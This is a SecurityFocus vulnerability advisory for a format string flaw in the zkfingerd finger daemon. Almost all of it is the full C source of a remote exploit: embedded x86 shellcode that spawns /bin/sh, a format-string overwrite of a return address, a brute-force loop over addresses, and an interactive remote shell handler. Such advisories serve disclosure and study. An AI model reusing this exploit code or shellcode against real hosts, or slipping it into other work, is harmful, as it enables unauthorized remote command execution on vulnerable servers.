source: http://www.securityfocus.com/bid/6402/info

zkfingerd is prone to a format string vulnerability. This problem is due to incorrect use of the 'syslog()' function to log error messages. It is possible to corrupt memory by passing format strings through the vulnerable logging function. This may potentially be exploited to overwrite arbitrary locations in memory with attacker-specified values.

Successful exploitation of this issue may allow the attacker to execute arbitrary instructions, possibly, with elevated privileges.

/*
 *
 *		remote exploit for zkfingerd-r3-0.9 linux/x86 
 *	gives uid of user who is running zkfingerd (default: nobody)              
 *		    	    by Marceta Milos 
 *                          root@marcetam.net
 *             
 * 		use this for educational propouses only! 
 * 
 * 	For local attack, response based method could be used, but for
 *	remote we can use blind brute force method.
 *
 *	greets to scut, DeadMaker, stinger, harada and all others.
 *     
 */

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/socket.h>
#include<arpa/inet.h>
#include<netdb.h>

#define Kb	1024
#define PORT	79      

#define green	"\x1B[1;32m"
#define def	"\x1B[0;37m"
#define wh	"\x1B[1;37m"

#define SHOFF	576
#define RETLOC  0xbffff970      /* Slackware 8.0 */
#define FMT     "\x25\x25\x2e\x25\x64\x75\x25\x25\x68\x6e" 
#define DIG8	"\x25\x2e\x66"
#define NOP	"\x90"


	char linux_x86_wrx[]=		
 
		"\x6a\x01"		/* push	$0x1		*/
		"\x5b"			/* pop %ebx		*/
		"\xb8\x0b\x6e\x4e\x0b"	/* mov $0x0b4e6e0b,%eax	*/
		"\x2d\x01\x01\x01\x01"	/* sub $0x01010101,%eax	*/
		"\x50"			/* push %eax		*/
		"\x89\xe1"		/* mov %esp,%ecx	*/
		"\x6a\x04"		/* push	$0x4		*/
		"\x58"			/* pop 	%eax		*/
		"\x89\xc2"		/* mov %eax,%edx	*/
		"\xcd\x80"		/* int $0x80		*/
		"\xeb\x0c"		/* jmp 12		*/
		"\x4b"			/* dec %ebx		*/
		"\xf7\xe3"		/* mul %ebx		*/
		"\xfe\xca"		/* dec %dl		*/
		"\x59"			/* pop %ecx		*/
		"\xb0\x03"		/* movb $0x3,%al	*/
		"\xcd\x80"		/* int $0x80		*/
		"\xeb\x05"		/* jmp $0x05		*/
		"\xe8\xef\xff\xff\xff";	/* call -17 		*/

	 char linux_x86_execve[]=

		"\x6a\x0b"		/* push $0x0b		*/		
		"\x58"			/* pop %eax		*/
		"\x99"			/* cdq			*/
		"\x52"			/* push %edx		*/
		"\x68\x6e\x2f\x73\x68"	/* push $0x68732f6e	*/
		"\x68\x2f\x2f\x62\x69"	/* push $0x69622f2f	*/
	   	"\x89\xe3"		/* mov %esp,%ebx	*/
	        "\x52"			/* push %edx		*/
	        "\x53"			/* push %ebx		*/
	        "\x89\xe1"		/* mov %esp,%ecx	*/
	        "\xcd\x80";		/* int $0x80		*/

struct wr_addr {
                int low;
                int high;
                } addr;

int host_connect(char *, unsigned short int);
unsigned long int resolve(char *);

void usage(char *);
void exploit(char *, unsigned short int, unsigned long int);
void shell(int);

struct wr_addr convert_addr(unsigned long);

char sendbuf[Kb];
char recvbuf[Kb];

char *target		=	"127.0.0.1";
unsigned short int port = 	PORT;
unsigned long retloc 	=	RETLOC;
unsigned short int brute=	0;


int main(int argc, char **argv, char **env) {

	char c;

	printf(wh"\n remote nobody exploit for zkfingerd-r3-0.9 by marcetam."def"\n\n");

	if (argc<2)
		usage(argv[0]);

        while ((c = getopt(argc, argv, "h:p:b:")) != EOF) {

                switch (c) {

		case 'h':
			target = optarg;
			break;
                case 'p':
			port = (short)atoi(optarg);
			break;
                case 'b':
			retloc	= strtoul(optarg, &optarg,16);
			brute	= 1;
			break;
		default:
			usage(argv[0]);
                        break;
                }
        }
	printf(" target is : \n\n");
	printf(" host : "wh"%s"def"\n",target);
	printf(" port : "wh"%hu"def"\n",port);
	printf(" ret  : "wh"%#lx"def"\n\n",retloc);
	printf(" attacking ... ");

	if (brute != 0) {

		while(1) {

	printf("trying ret : %#lx\n", retloc);
			sleep(1);
			exploit(target, port, retloc);
			retloc -= 1;
		};
	} else exploit(target, port, retloc);

	return(0);
}

void usage(char *name){

        fprintf(stderr, " usage: %s -h <hostname> -p <port> -b <addr>\n\n",name);
        fprintf(stderr, " -h host\t target hostname (default 127.0.0.1)\n"
			" -p port\t port number (default 79)\n"
			" -b addr\t brute force retloc starting from addr\n"
			"\t\t   WARNING : this will flood logfile\n\n");

        exit(EXIT_FAILURE);
}

void exploit(char *hostname, unsigned short int port, unsigned long int retaddr){ 

        unsigned long *ptr;

	char	ret[4],
		*chr;

	int	i,
		fd;

	bzero(sendbuf, Kb);
	bzero(recvbuf, Kb);
	bzero(ret, 4);

	fd = host_connect(hostname, port);

	ptr	=	(long *)ret;
	*(ptr)	=	retaddr;
	ret[sizeof(ret)] = '\0';

	for(i = 0;i < 3;i++)
		strcat(sendbuf,ret);
	ret[0] += 2;
	strcat(sendbuf, ret);

	for(i = 0;i < 40; i++)
		strcat(sendbuf, DIG8);      

	addr = convert_addr(retaddr + SHOFF);
	sprintf(sendbuf + strlen(sendbuf), FMT, addr.low);
	sprintf(sendbuf + strlen(sendbuf), FMT, addr.high);
	chr = sendbuf + strlen(sendbuf);

	for(i = 0;i < 128;i++)
		strcat(sendbuf, NOP);

	strcat(sendbuf, linux_x86_wrx);
	write(fd, sendbuf, Kb);
	read(fd, recvbuf, Kb);

	if (strcmp(recvbuf, "\nmM\n") == 0) {

		printf(green"YEAH!\n"def);
		sleep(1);
		printf(" sending shellcode. \n");
		write(fd, linux_x86_execve, sizeof(linux_x86_execve));
		printf(" starting shell #\n"def);
		write(fd,"\n", 1);
		write(fd,"uname -a;id\n", 12);
		shell(fd);
	}
	else printf(wh" failed.\n\n"def);
}

struct wr_addr convert_addr(unsigned long addr) {

	struct wr_addr target;

	target.low  = (addr & 0x0000ffff);
	target.high = (addr & 0xffff0000) >> 16;

	if (target.high > target.low)
		target.high -= target.low;
	else {
		target.high += 0x10000;
		target.high -= target.low;
	}
	target.low -= 0x58;
	return(target);
}

unsigned long int resolve(char *hostname) {

	struct hostent *host;
	long            r;

	r = inet_addr(hostname);

	if (r == -1) { 
		host = gethostbyname(hostname);
		if (host == NULL) {
			return(0);
		} else { 
			return(*(unsigned long *)host->h_addr); 
	               }
	} 
	return(r);
}

int host_connect(char *hostname, unsigned short int port) {

        struct sockaddr_in	sa;
	int			fd;

        sa.sin_family	=	AF_INET;
        sa.sin_port	=	htons(port);
        fd		=	socket(AF_INET, SOCK_STREAM, 0);

        if (fd == -1)
		return(fd);

	if (!(sa.sin_addr.s_addr = resolve(hostname))) {
		close(fd);
                return(-1);
        }

	if (connect(fd, (struct sockaddr *)&sa, sizeof(struct sockaddr_in)) < 0) {
		perror("connect");
		close(fd);
		return(-1);
        }

        return(fd);
}

void shell(int fd) {

	char	buf[512];
	int	l;
        fd_set  fds;


        while (1) {

                FD_SET(0, &fds);
                FD_SET(fd, &fds);

                select(fd + 1, &fds, NULL, NULL, NULL);

                if (FD_ISSET(0, &fds)) {
                        l = read(0, buf, sizeof (buf));
                        if (l <= 0) {
                                perror("read user");
                                exit(EXIT_FAILURE);
                        }
                        write(fd, buf, l);
                }

                if (FD_ISSET(fd, &fds)) {
                        l = read(fd, buf, sizeof (buf));
                        if (l == 0) {
                                printf("connection closed by foreign host.\n");
                                exit(EXIT_FAILURE);
                        } else if (l < 0) {
                                perror("read remote");
                                exit(EXIT_FAILURE);
                        }
                        write(1, buf, l);
                }
        }
}

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